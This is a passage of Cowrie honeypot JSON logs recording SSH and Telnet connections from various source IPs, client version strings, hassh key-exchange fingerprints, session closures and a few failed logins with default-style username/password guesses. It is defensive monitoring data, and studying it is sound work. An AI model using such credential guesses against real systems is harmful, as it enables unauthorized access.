,"ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:14.278665Z","src_ip":"74.87.117.149","session":"05941077fbda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu1","password":"ubuntu1","message":"login attempt [ubuntu1/ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:14.406556Z","src_ip":"74.87.117.149","session":"05941077fbda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35560,"dst_ip":"159.203.135.109","dst_port":22,"session":"9edf6b163c6d","protocol":"ssh","message":"New connection: 159.203.92.129:35560 (159.203.135.109:22) [session: 9edf6b163c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:14.495816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:14.501308Z","src_ip":"159.203.92.129","session":"9edf6b163c6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:14.506175Z","src_ip":"159.203.92.129","session":"9edf6b163c6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankur","password":"ankur","message":"login attempt [ankur/ankur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:14.517340Z","src_ip":"159.203.92.129","session":"9edf6b163c6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:15.437836Z","src_ip":"74.87.117.149","session":"05941077fbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:15.526129Z","src_ip":"159.203.92.129","session":"9edf6b163c6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45144,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2c931f775f3","protocol":"telnet","message":"New connection: 23.254.167.244:45144 (159.203.135.109:23) [session: b2c931f775f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:15.880144Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55452,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbfeed87854d","protocol":"telnet","message":"New connection: 209.159.146.115:55452 (159.203.135.109:23) [session: bbfeed87854d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:17.669111Z"}
{"eventid":"cowrie.session.closed","duration":34.21983098983765,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:18.217245Z","src_ip":"23.254.167.244","session":"2d5e9ade9a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.1642689704895,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:18.350190Z","src_ip":"23.254.167.244","session":"72a531e1c266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56744,"dst_ip":"159.203.135.109","dst_port":23,"session":"da276c1c2028","protocol":"telnet","message":"New connection: 114.23.51.89:56744 (159.203.135.109:23) [session: da276c1c2028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:19.100861Z"}
{"eventid":"cowrie.session.closed","duration":34.86481308937073,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:19.774559Z","src_ip":"23.254.167.244","session":"1fc05a81381a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56758,"dst_ip":"159.203.135.109","dst_port":23,"session":"c07d4702ecc8","protocol":"telnet","message":"New connection: 114.23.51.89:56758 (159.203.135.109:23) [session: c07d4702ecc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:21.922193Z"}
{"eventid":"cowrie.session.closed","duration":31.1938955783844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:22.699779Z","src_ip":"23.254.167.244","session":"19deaec41007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.27670431137085,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:22.779129Z","src_ip":"209.159.146.115","session":"52d61aa12bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":63949,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd2c764bf7d","protocol":"ssh","message":"New connection: 103.149.252.223:63949 (10.17.0.5:22) [session: ebd2c764bf7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:22.858608Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:22.863236Z","src_ip":"103.149.252.223","session":"ebd2c764bf7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:22.868595Z","src_ip":"103.149.252.223","session":"ebd2c764bf7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":59878,"dst_ip":"159.203.135.109","dst_port":22,"session":"8889c91e5c0e","protocol":"ssh","message":"New connection: 157.66.34.121:59878 (159.203.135.109:22) [session: 8889c91e5c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:23.389341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:23.393884Z","src_ip":"157.66.34.121","session":"8889c91e5c0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:23.624995Z","src_ip":"157.66.34.121","session":"8889c91e5c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54928,"dst_ip":"159.203.135.109","dst_port":23,"session":"24d3442bc4c2","protocol":"telnet","message":"New connection: 23.254.167.244:54928 (159.203.135.109:23) [session: 24d3442bc4c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:23.810396Z"}
{"eventid":"cowrie.session.closed","duration":37.83181953430176,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:24.159371Z","src_ip":"185.26.126.47","session":"17dad0f892c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56746,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7d138bf37c","protocol":"telnet","message":"New connection: 114.23.51.89:56746 (159.203.135.109:23) [session: 7d7d138bf37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:24.323897Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56772,"dst_ip":"159.203.135.109","dst_port":23,"session":"25a6d7a98ec2","protocol":"telnet","message":"New connection: 114.23.51.89:56772 (159.203.135.109:23) [session: 25a6d7a98ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:24.469022Z"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"vbox","message":"login attempt [vbox/vbox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:24.583407Z","src_ip":"157.66.34.121","session":"8889c91e5c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"3679072f5c65","protocol":"telnet","message":"New connection: 114.23.51.89:56778 (159.203.135.109:23) [session: 3679072f5c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:24.774428Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56782,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e91c51e9d85","protocol":"telnet","message":"New connection: 114.23.51.89:56782 (159.203.135.109:23) [session: 9e91c51e9d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:25.717715Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56788,"dst_ip":"159.203.135.109","dst_port":23,"session":"c34a04a98d39","protocol":"telnet","message":"New connection: 114.23.51.89:56788 (159.203.135.109:23) [session: c34a04a98d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:25.766694Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:25.819356Z","src_ip":"157.66.34.121","session":"8889c91e5c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":58898,"dst_ip":"159.203.135.109","dst_port":23,"session":"20d07e3ba9f3","protocol":"telnet","message":"New connection: 23.254.167.244:58898 (159.203.135.109:23) [session: 20d07e3ba9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:27.512839Z"}
{"eventid":"cowrie.session.closed","duration":36.61908030509949,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:30.187183Z","src_ip":"209.159.146.115","session":"e81cada317df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34822,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4bc603bf584","protocol":"telnet","message":"New connection: 114.23.51.89:34822 (159.203.135.109:23) [session: e4bc603bf584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:30.507163Z"}
{"eventid":"cowrie.session.closed","duration":41.792731523513794,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:31.312841Z","src_ip":"209.159.146.115","session":"8a52c6c72784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34478,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6d209b86418","protocol":"telnet","message":"New connection: 23.254.167.244:34478 (159.203.135.109:23) [session: b6d209b86418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:31.649406Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34824,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e476924dd43","protocol":"telnet","message":"New connection: 114.23.51.89:34824 (159.203.135.109:23) [session: 7e476924dd43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:31.889097Z"}
{"eventid":"cowrie.session.closed","duration":30.61985969543457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:32.552770Z","src_ip":"114.23.51.89","session":"aff9341ddb5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34838,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0fb1ea7f19c","protocol":"telnet","message":"New connection: 114.23.51.89:34838 (159.203.135.109:23) [session: f0fb1ea7f19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:33.103194Z"}
{"eventid":"cowrie.session.closed","duration":37.133928298950195,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:33.321796Z","src_ip":"23.254.167.244","session":"605395a83b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40749382972717,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:33.847743Z","src_ip":"23.254.167.244","session":"714c2c051f23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.206573724746704,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:33.958324Z","src_ip":"23.254.167.244","session":"4e567bffe288","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.65221309661865,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:34.790377Z","src_ip":"23.254.167.244","session":"79d8a0582939","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098114252090454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:36.812623Z","src_ip":"114.23.51.89","session":"ab4d6be9f74f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804136037826538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:38.241564Z","src_ip":"114.23.51.89","session":"db8360305a80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42622,"dst_ip":"159.203.135.109","dst_port":23,"session":"81cab0e28a4f","protocol":"telnet","message":"New connection: 23.254.167.244:42622 (159.203.135.109:23) [session: 81cab0e28a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:38.377406Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43354,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c9ba9cdd676","protocol":"telnet","message":"New connection: 23.254.167.244:43354 (159.203.135.109:23) [session: 7c9ba9cdd676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:38.998402Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39452,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0b8c893cd06","protocol":"telnet","message":"New connection: 114.23.51.89:39452 (159.203.135.109:23) [session: c0b8c893cd06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:39.144948Z"}
{"eventid":"cowrie.session.closed","duration":35.4751992225647,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:39.173448Z","src_ip":"23.254.167.244","session":"c736a1994a48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46030,"dst_ip":"159.203.135.109","dst_port":23,"session":"210747537970","protocol":"telnet","message":"New connection: 23.254.167.244:46030 (159.203.135.109:23) [session: 210747537970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:40.141264Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39458,"dst_ip":"159.203.135.109","dst_port":23,"session":"165e2a43246f","protocol":"telnet","message":"New connection: 114.23.51.89:39458 (159.203.135.109:23) [session: 165e2a43246f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:41.075660Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39464,"dst_ip":"159.203.135.109","dst_port":23,"session":"401e1afc26d3","protocol":"telnet","message":"New connection: 114.23.51.89:39464 (159.203.135.109:23) [session: 401e1afc26d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:41.991038Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39476,"dst_ip":"159.203.135.109","dst_port":23,"session":"04f422da3169","protocol":"telnet","message":"New connection: 114.23.51.89:39476 (159.203.135.109:23) [session: 04f422da3169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:44.754564Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39486,"dst_ip":"159.203.135.109","dst_port":23,"session":"32c4e66df1e2","protocol":"telnet","message":"New connection: 114.23.51.89:39486 (159.203.135.109:23) [session: 32c4e66df1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:45.374823Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54466,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd7b3c2c1170","protocol":"telnet","message":"New connection: 23.254.167.244:54466 (159.203.135.109:23) [session: dd7b3c2c1170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:46.643292Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39502,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c55ee87b1f9","protocol":"telnet","message":"New connection: 114.23.51.89:39502 (159.203.135.109:23) [session: 4c55ee87b1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:47.952328Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57820,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4d585b02614","protocol":"telnet","message":"New connection: 114.23.51.89:57820 (159.203.135.109:23) [session: f4d585b02614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:47.960076Z"}
{"eventid":"cowrie.session.closed","duration":32.54767084121704,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:48.427702Z","src_ip":"23.254.167.244","session":"b2c931f775f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.649317741394043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:49.318295Z","src_ip":"209.159.146.115","session":"bbfeed87854d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17713475227356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:50.277886Z","src_ip":"114.23.51.89","session":"da276c1c2028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57826,"dst_ip":"159.203.135.109","dst_port":23,"session":"16279a7fedcb","protocol":"telnet","message":"New connection: 114.23.51.89:57826 (159.203.135.109:23) [session: 16279a7fedcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:50.408553Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59620,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a151dea5b0a","protocol":"telnet","message":"New connection: 23.254.167.244:59620 (159.203.135.109:23) [session: 3a151dea5b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:50.577780Z"}
{"eventid":"cowrie.session.closed","duration":30.297484397888184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:52.219573Z","src_ip":"114.23.51.89","session":"c07d4702ecc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57834,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d2f8b447ee2","protocol":"telnet","message":"New connection: 114.23.51.89:57834 (159.203.135.109:23) [session: 7d2f8b447ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:52.603120Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44222,"dst_ip":"159.203.135.109","dst_port":23,"session":"f87a00220311","protocol":"telnet","message":"New connection: 209.159.146.115:44222 (159.203.135.109:23) [session: f87a00220311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:53.628733Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48540,"dst_ip":"159.203.135.109","dst_port":22,"session":"f965154c68fd","protocol":"ssh","message":"New connection: 159.203.92.129:48540 (159.203.135.109:22) [session: f965154c68fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:16:54.664536Z"}
